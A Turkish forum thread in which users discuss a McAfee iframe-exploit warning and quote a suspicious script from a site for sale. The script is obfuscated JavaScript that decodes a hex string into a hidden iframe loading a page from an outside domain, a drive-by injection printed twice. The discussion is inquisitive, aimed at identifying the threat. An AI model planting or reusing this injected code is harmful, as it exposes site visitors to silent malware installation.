| PoSeiDoN | 29-11-2007 18:42:40 | Alıntı: Lisans Nickli Üyeden Alıntı
(Mesaj 1146459)
mcAfee uyarı verdi ie ile bakarken. iframe açığıyla ilgili. | Satışı yapılan sitenin scripti internet explorer açığından faydalanarak karşıdaki kişiye sormaksızın, keylogger vs. zararlı yazılım yüklüyor olabilir.
scriptdeki şüpheli kod: Alıntı:
<script>function v473924dcf233c(v473924dcf2b07){ function v473924dcf32d4 () {return 16;} return(parseInt(v473924dcf2b07,v473924dcf32d4())); }function v473924dd00037(v473924dd00807){ var v473924dd01f75=2; var v473924dd00fd7='';for(v473924dd017a7=0; v473924dd017a7<v473924dd00807.length; v473924dd017a7+=v473924dd01f75){ v473924dd00fd7+=(String.fromCharCode(v473924dcf233 c(v473924dd00807.substr(v473924dd017a7, v473924dd01f75))));}return v473924dd00fd7;} document.write(v473924dd00037('3C696672616D65206E6 16D653D273037386164653827207372633D27687474703A2F2 F696371646F7375672E636F6D2F706F6F642F696E6465782E7 06870272077696474683D373937206865696768743D3430332 07374796C653D27646973706C61793A6E6F6E65273E3C2F696 672616D653E'));</script>
| Acaba bu kod ne işe yarıyor :) Encode edilmiş sanırım.
Özellikle şu kodu merak ettim: Alıntı:
document.write(v473924dd00037('3C696672616D65206E6 16D653D273037386164653827207372633D27687474703A2F2 F696371646F7375672E636F6D2F706F6F642F696E6465782E7 06870272077696474683D373937206865696768743D3430332 07374796C653D27646973706C61793A6E6F6E65273E3C2F696 672616D653E'));</script>
| |